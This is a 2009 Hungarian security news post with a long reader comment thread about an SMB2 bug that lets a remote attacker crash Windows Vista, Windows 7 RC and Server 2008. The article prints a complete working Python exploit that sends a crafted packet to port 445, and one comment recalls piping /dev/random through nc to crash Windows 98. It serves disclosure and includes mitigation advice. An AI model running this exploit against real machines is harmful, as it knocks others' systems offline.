[Frissítve #2] Windows Vista, Windows 7 RC és Windows 2008 remote BSOD bug

 ( trey | 2009. szeptember 8., kedd - 14:46 )

Egy, a Windows Vista-ban és a Windows 7-ben jelen levő bug lehetővé teszi a távoli (helyi hálózaton levő) támadó számára, hogy bizonyos beállítások mellett "elkékhaláloztathassa" az áldozat számítógépét. Az SMB2 protokoll implementációban található bug egy egyszerű python script-tel triggerelhető:

Frissítés #1 E blogbejegyzés szerint a bug nem csak BSOD okozására, hanem távoli kódfuttatásra és helyi privilégium-szint emelésre is felhasználható lehet. A blog szerint a Windows Server 2008 is érintett.
Frissítés #2 Az MSRC szerint érintett: Windows Vista, Windows Server 2008 és Windows 7 RC, nem érintett: Windows 7 RTM, Windows Server 2008 R2, Windows XP és Windows 2000
Frissítés #3 Microsoft SA 975497

# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated - US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" header field it
# dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D

from socket import socket
from time import sleep

host = "ip_cim", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal operation should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

A bejelentés szerint a Windows Vista / Windows 7 érintett. A Windows Server 2008 is érintett lehet. A Microsoft még nem reagált a hibára, javítás még nincs. A probléma ellen védekezni lehet a 445-ös portra érkező forgalom blokkolásával.

A részletek a bejelentésben.

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

Windows 7 beta és RC volt kéznél. Szépen leterítette mindegyiket. Kollégám csak lesett mi lett a gépével. :) Az egyiket meg kellett hozzá "szerelni" ("file and print sharing"-et engedélyezni), mert alapértelmezetten nem volt nyitva a 445.

--
trey @ gépház

meg szerencse, hogy megbizhatatlan halozaton nem engedelyezi az ember :-)

--
When in doubt, use brute force.

Viszont lokál hálón jól lehet vele játszani. Nekem nem kellett messze mennem, mert a tőlem öt méterre levő kollégám gépén már találtam is nyitott, sebezhető portot. Megengedte, hogy kipróbáljam. Ha pedig a Windows Server 2008 is érintett, akkor úgy lehet szórakozni, hogy az egész vállalt is "élvezi". Kivéve a rendszergazda :)

--
trey @ gépház

445 titkositalanul? es ha le sniffelik a fizetes.xls-t??
cifs csakis ipseccel, 139 pedig tiltva

mgb

Ez most így nem értem.

--
trey @ gépház

fajlmegosztasra csak felhuz mar az ember egy ipsec policyt nehogyma a halon tikositlanul szaldgaljanak a nyaralasi kepek
mgb

Merre, ki, hol?

--
trey @ gépház

tenyleg nem hasznaltok ipsec-et a file megosztashoz?
en vagyok tul paranoias?

vezerlo pult/ felugyeleti eszkozok / Helyi biztonsagi hazirend / IP biztonsagi hazirendek..... (ja ez nem linux, ott kicsit tobet kell gepelni de szinten zenesz)

mgb

Tényleg nem használ a kolléga IPsec-et ahhoz, hogy egy notebookkal kilásson az internetre távmenedzsment célból. Nem tagja domain-nek sem, mivel telephelyek közt mozog. A gépén pedig valami oknál fogva be volt kapcsolva a file share. Én VPN-en csatlakoztam a hálózathoz kívülről, a linuxos gépemen semmilyen fájlmegosztás sincs. IP alapján megszólítottam a 445-ös portját. Nem érzem, hogy hova kellene ide mindenképpen IPsec.

--
trey @ gépház

Az ipsec kérhető csak az SMB forgalomra is. És természetesen ki is védi a fenti helyzetet, csak éppen azt nem védi ki, ha a támadás akármilyen okból belülről indul. Már úgy belülről, hogy a támadó gép eléri a fileszervert, épp ezért tud az ipsec-hez authentikálni, mert onnantól a támadókód is mindenféle módositás nélkül ipsecen fog zajlani (és működni).

Egyébként nálam is 2008 szerveren működik, win 7-en, 2008 R2 szerveren nem. (ipsec-es szerveren, úgy hogy a kliensnek nincs ipsec-e értelemszerűen egyiken sem megy)

Tehát akkor összefoglalva, ha a szerver az SMB-t ipsec-en keresztül szolgáltatja és a kliensen nincs ipsec beállítva, akkor nem tudja használni az exploit-ot a szerver ellen. Ha van a kliensen ipsec beállítva, akkor el tudja crash-eltetni a Windows Server 2008-at, de a Windows Server 2008 SP2-t nem. Jól értem?

--
trey @ gépház

majdnem, 2008 sp2 is hasal, a 2008 R2 ami nem.

Jajaja, azt akartam írni.

--
trey @ gépház

Akkor igen.
Gondolom a win7 rokonság okán.

Nekem sem akkor, se azóta nem sikerült olyan gépet találni, ami kidőlt volna ettől...
--
Discover It - Have a lot of fun!

A python script tényleg egyszerű, minden sorát értem, kivéve az ASCII artosat. Azt mivel generálták? Anélkül is működik? :)


suckIT szopás minden nap! István, a király - avagy az Apple rövid története képekben

En is igy vagyok vele. A "&" karakter miert is bajos? (azon tulmenoen persze, hogy osszeomlik tole a rendszer) Mas esetben mi lenne a funkcioja?

ezert.

A cim cserelheto "Remote Code Execution"-re.

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Beszarok. Packetbol bejovo erteket cimzeshez hasznalni, sanity check nelkul. Szep munka. :)

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Pedig nem is olyan ritka. :)

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

;)

"Azt mivel generálták?"

Tipp: írtak egy exploitot mondjuk c-ben, ami összeállítja az IP csomagokat, majd ráküldték egy teszt áldozatra. Az adatfolyamot lelogolták valami packet-capture cucc-al, és megvan hexában a nyers exploit.

WinNuke 2009 \o/ :)

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Jaja. Ugy jo 10 evvel ezelott a w98-kat egy sima cat /dev/random | nc-vel irtottuk, ugy tunik ez ujra divatba fog jonni. Ujra smb-n! :)

---
pontscho / fresh!mindworkz

Nekem Windows 7 van fent (Professional RTM), de a vállalkozó kedvű kollégák nem tudják leteríteni. Engedélyezve van a samba, de mégsem megy.

itt win7 bussiness kinyirva :)

jah ez RC

"Nekem Windows 7 van fent (Professional RTM)"

A véglegeset nem próbáltam, csak úgy 2 óra múlva leszek végleges W7 közelében, majd akkor meg tudom nézni.

"nem tudják leteríteni"

A "telnet ip_címed 445" távolról megy?

"Engedélyezve van a samba,"

A micsoda? :) A tűzfalaknál a "file and printer sharing"-et kapcsold be ha nem lenne.

--
trey @ gépház

"A "telnet ip_címed 445" távolról megy?"

Megy

"A micsoda? :) A tűzfalaknál a "file and printer sharing"-et kapcsold be ha nem lenne."

Jelenleg "Work" network-re vagyok kapcsolódva, és ott engedélyezve van mindenféle share.

Végleges verzión nekem sem megy a crash. Viszont:

"This is the reason why this vulnerability is a Remote Code Execution and not only a DoS. And this is the reason why the exploit provided may or may not crash a machine. If the page pointed by the index is not paginated the system will BSOD otherwise it might crash on another point or simply not to crash. "

--
trey @ gépház

Regen nem hasznalok windows-t, de nem a mai nap a patch-kedd? :)

Nem. Ma elveszem a "keddved" van!

kollega mellettem mar orjong :DD

t

Ujjazzak magukat az anti-M$-trollok... :^DDD

----------------------
"ONE OF THESE DAYS I'M GOING TO CUT YOU INTO LITTLE PIECES!!!$E$%#$#%^*^"

$kedvencdisztro -dban mikor is volt utoljara valami remote root exploit? ;)

A backtrack-en kivul szerintem nem sok disztroban vannak exploitok.

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Ez egy gyöngyszem. "The most vulnerable system ever!" :)

exploit vs. sebezhetőség

Szerintem azt szerette volna mondani, hogy az OS-ekben, disztrókban, programokban nem exploit-ok vannak, hanem sebezhetőségek, sérülékenységek. Ezekre írják az exploit-okat. Gyakran keverik az emberek ezeket a fogalmakat.

--
trey @ gépház

Lehet, hogy nehezen vagyok követhető, de ezt tudom.
Arra céloztam, hogy a cat /dev/random | nc ha összedől tőle a windows, már exploit. :)


suckIT szopás minden nap! István, a király - avagy az Apple rövid története képekben

Ja értem. :)

--
trey @ gépház

Nem, ez max. egy fatengelyes fuzzer. :)

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

jo, nyilvan ugy ertettem, hogy kihasznalhato hiba, amire lehet exploitot irni ;)

Nincs kedvenc distro-m, OS teren partatlan vagyok. Elsosorban Win felhasznalo vagyok, egy ideje (5+ ev) probalok atallni linuxra, ez reszben az en benasagom miatt, reszben _a_linux_ desktopra valo kiforratlansaga miatt nem sikerult.

De szeretem cikizni mindket tabor fanatikusait! :^D

----------------------
"ONE OF THESE DAYS I'M GOING TO CUT YOU INTO LITTLE PIECES!!!$E$%#$#%^*^"

Mindenki hibázhat. Várjuk a javítást. Keddre meglesz?

KAMI | 神
--
Támogatás | OxygenOffice | Fordításaim és SeaMonkey

Fújj, te ilyenekre gondolsz, miközben HUP-ot olvasol? Malac... :P

Gondolom holnapra a ms ugyis kiad egy javitast a bugra. Vagy ez egy feature? :DD

Na jó ha nem is holnap, de márhoz egy évre bizotsan, muhahaaa :DDDDDD

vagy már javítva van, ezért nem érintett a win2k8r2 és a win7rtm, csak trollkodás helyett utána kellene nézni, muhahaaa :DDDDDD

nem baj, ezt várjuk el tőle :) szegény ennyit tud csak nyújtani :)

Hogy is van az, hogy Macen a SMB halozatban a gepek ikonja egy BSOD-t megjelenito monitor? :-)
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Windows servernél igen :o)
http://filedb.experts-exchange.com/incoming/2008/04_w16/17543/Picture-1.png

____________________________
Darwin Kernel Version 10.0.0: Fri Jul 31 22:46:25 PDT 2009; root:xnu-1456.1.25~1/RELEASE_X86_64

Linux SMB servernel is, meg Windows klienseknel is.
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

lol
(nem ismertem, de király :) )

Rohej, hogy Laurent Gaffié es a SANS Internet Storm Center is hazudik a Win 7 sebezhetosegerol. Persze igy nagyobbat ut, a media meg atveszi.

Miertis?

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Mert Win7 RTM nem érintett, csak a korábbi béták, RC-k...

A röhely nem ez, hanem az, hogy noha a Microsoft úgy tűnik javította már a problémát egyes termékeiben, szart bele, hogy többit is megnézze kell-e javítani. Végül is javítva van egy jelenleg szűkebb körben terjesztett termékben (W7 RTM) illetve a Windows 2008 R2-ben, de nincs javítva három széles körben használt termékben: Vista, RTM > W7, Windows 2008.

--
trey @ gépház

Azért azt merész volna kijelenteni, hogy a w7 smb kódjában konkrétan kijavitották ezt a hibát és szándékosan nem javitották a régebbiekben. Könnyen lehet, hogy a hibát okozó részt teljesen újrairták (nem a hiba miatt) vagy a hiba most is ott van, de a kód valamilyen átszervezése miatt már nem kihasználható. (ahogy az is előfordulhat, hogy kihasználható, csak nem az exploit jelenlegi formájában)

Igen, bennem is felmerült, hogy lehet ez egy másik fejlesztésből adódó side effect. De ha tudatosan javították a W7 RTM-ben és a WS2008R2-ben, akkor az még ok, hogy azonnal nem javították a többi érintett rendszerben is, mert mondjuk a javítás fejlesztés, tesztelés, QA alatt van, de hogy egy advisory-t sem adtak ki róla... Akkor ott már felmerül a szándékos sunnyogás gyanúja.
--
trey @ gépház

Amirol te beszelsz, az csak feltetelezes, talalgatas.

Konkrétan melyik része?

--
trey @ gépház

légy szives találgass már nekem az [1,90] intervallumban 5 darab különböző egész számot...

köszi.

42!
Es ezzel most egy sor szamot mondtam.
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Arra mindenképp jó volt hogy asszonyt a linux felé ösztönözzem :)

Nálam egyszerűen ment az ösztönzés. Linuxot telepítettem neki.

Ez nálunk is bevállt, egészen a KDE 4.0 (vagy 4.1?) hattyúdaláig, amikor is GNOME-ra váltani nem lehetett (mert csúnya:), KDE meg elhasalt félóránként valamin. Jött a Windows 7 és azóta nem akart Linuxot látni. Egészen tegnap estig ;)

jobban jarna winnel pedig. minek kenyszerited szenvedesre?

Nekem is van rokon-userem, aki Linuxra van "kenyszeritve", mivel az user sajnos untrusted, es telibaszna netrol mindenfele mocsokkal a gepet, mivel mindenre rakattint, ami felugrik. Nekem meg se idom se idegrendszerem utazni 350km-t kethavonta ujratelepiteni. A Linuxot meg nem tudja elbaszni. Se o, se a szomszed Pistike a legujabb hiper-lewarezolt barmi telepitesevel.

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Nem rendszergazda jogosultságot kell adni neki Windows alatt sem és akkor ott se tudja elbaszni...

Pontosan, ha a userek nem csak a linuxban csinálnák azt, hogy az RG helyett 1 erősen korlátozott felhasználót használnak, és runas-el a legszükségesebb rendszerszintű beállitásokat állítgatnák, nem lenne ennyi problémájuk. Mondjuk az ilyen szintű bugoktól az se véd, de mégis nem lenne problema a szomszéd agyon warezolt cuccai.

Tudod milyen nehez dolog elmaszni a vezerlopultba egy uj usert felvennni?!!! Akkor inkabb a viru...
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

nono!

hanem?

Attól még hogy korlátozott jogokkal netezgél, símán összeszedhet valamit, ami az op.rendszer, böngésző stb. bizt. hiányosságait kihasználva kúrja szét a rendszert.

és e tekintetben hol a különbség a Linuxhoz képest?

pl. ott, hogy ami windows-specifikus sebezhetőség, az ugye linuxon nem játszik. Na már most annak az esélye, hogy mariska néni az ubuntun klikkolgatva összeszed valami virulenset annnnnnyira minimális ugyanezen eset windowsos változatához képest, hogy ezt a kérdést fel se kellett volna tenned :)

aha, nagy security szaki vagy te

mar megszokhattad volna, hogy televagyunk expertekkel, legyen szo barmirol ;)

aha, de te biztos az vagy

:DDD

---
pontscho / fresh!mindworkz

Tudod, aki Mariska neninek olyan gepet telepit, hogy a virus osszeszedes eselye ekkkkkkkora lesz, annak szegyenkezve kellene szaraz kukorican terdepelve bunhodni napokig. Mert nem csak Mariska nenin mulik a dolog.
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Valóban. Az op.rendszeren is :)

Fejtsd ki kérlek te mondjuk hogyan telepítesz, hogy pl. az exploitok ellen védve legyen a gép. Mert ha esetleg az useren és rajtad kívül álló ok miatt mégis beszaladna valami, akkor logikád alapján lehet hogy mégis inkább neked kéne kukoricán térdepelve bűnhődni :)

Hogy telepítenéd, hogy Mariska néni utána tudja használni és ha klikkolni akar a valamijatek.exe-re az el is induljon mint Mancikánál (szarul megírt 3rd progi mondjuk).

--
Elméletileg nincs különbség elmélet és gyakorlat között. Gyakorlatilag van.

És szerinted a linux kernelbe nincsenek bugok vagy amit kihasználva szét lehetne baszni a rendszert ?? Abban igazad van hogy a linuxba jóval kevesebb van mint a windowsba. A mircosoft is igyekszik a biztonsági hiányosságait befoltozni. Arról viszont nem a microsoft tehet hogy a programok nagy részének sebezhetőségét az okozza hogy a kedves kis programozok basznak odafigyelni arra hogy a programjuk ne követeljen administratori jogokat vagy ne kelljen olyan registry kulcsokat importalnia ami miatt a rendszer biztonsága csökken.

Azzal meg hogy korlátozott jogokat adsz nem azt éred el hogy tökéletes legyen a rendszered hanem hogy bizonyos biztonsági hibáktól és a felhasználótól megóvd a géped. Te sem hinném hogy root ként logolsz be vagy a userednek root jogokat állítasz be.

Egyáltalán nem értem miről beszélsz. Van egy nagyon jól, sőt, nyugodtan mondhatom, hibátlanul működő rendszere (OpenSUSE). Nem gondolom, hogy azzal ítélném szenvedésre, hogy kompromisszumok nélkül használhatja a gépét arra amire az való. Ráadásul magamnak is egy csomó fejfájást megspórolok azáltal, hogy a kötelező frissítéseken kívül nem kell a rendszer karbantartásával túl sokat törődnöm (sőt, szinte semmit). Mindekettőnk élete lényegesen egyszerűbb azzal, hogy Linuxot használ.

Csak netezésre egyszerűbb egy default Ubuntut felrakni, mint feltelepíteni egy XP-t (Vista, 7 nem megy a gépen), és reszelgetni, hogy ne tudjon vírust rakni a gépre (nem lehetetlen, de ahhoz sokkal jobban kellene értenem a Windowshoz).

Sőt, az ACHI is jó dolog, mert az XP SP2 telepítő nem megy fel, így a szomszéd Pistike nem tudja újratelepíteni a gépet. Sőt, a Vista-val szállított laptopokat sem nekem kell újratelepítgetnem.

Nálunk maradt a KDE 3.5.akármi a 4.2.2-ig, így nem volt semmi probléma. A 4.2.2 pedig már elég problémamentes (vagyis nekünk teljesen az).

nalam is, gnomemmal, nagyon tetszik neki, mar tobb mint egy eve megelegedessel hasznalja, es amig koliban lakott rohogott a sok csicskan akiknek a fenymasolobol oszeszedett virus miatt havonta kellett telepiteni a gepet. :)

Fenymasolobol osszeszedett virus? Ezt most csak en nem ertettem?
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Nyílván arról van szó, hogy elvitték pendriveon a nyomtatandó doksit a fénymásoló céghez, ahol rámászott valami vírus.

...és ott a pendrive-ra rámászott...

egy kb. 60 kB-os autorun.inf-nak látszó tárgy.

Windows megnyitja, mert abban van, hogy mit kell tennie cserélhető egység betételekor. Aztán: jé, ez valójában egy exe - nem baj, akkor lefuttatom.

nod32 viszont rendesen kivágja még feltápászkodás előtt.

Hasonló okok miatt jó pár ismerőst "térítettem" át Linuxra. Nem erőszakosan. Látták, hogy működik, nincs vele komoly gond, és emiatt egy idő után megérett bennük a gondolat, hogy le szeretnék cserélni a windowst.

Anyam atterne akarmire, egy gond van: van egy progi, ami sehogy se indul el wine alatt, es az neki kell. Virtualis XP-t meg nem akarok tenni, mert akkor minek raktam fel a Linuxot?
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Megkérdezhetem melyik az a progi?

PatternMaker. Nincs olyan Linuxos/Maces progi, ami megnyitna az ezzel eloallitott fajlokat.
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Gondoltam, hogy egy speckó célszoftverről van szó. Eleinte a CorelDrawt hiányoltam, de azt könnyű volt többé-kevésbé kiváltani.
Crossovert próbáltad már?

Meg nem, de nem er ennyit az egesz. Jo neki az XP.
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Szegény mama. :(
Nemhogy vennél neki egy mac mini-t. Szépen megy a patternmaker crossoverrel pedig.
____________________________
Darwin Kernel Version 10.0.0: Fri Jul 31 22:46:25 PDT 2009; root:xnu-1456.1.25~1/RELEASE_X86_64

A PM megy crossoverrel? Ezt jo tudni. Nyomtatas is megy fajan?
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

Ha valakinek az Avira (erről kaptam visszajelzést) vagy más AV szoftver jelez ennél a cikknél, az nem a véletlen, hanem a cikkben található exploit műve.

--
trey @ gépház

Nahat, a HUP mar virust is terjeszt... :-)
--

()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.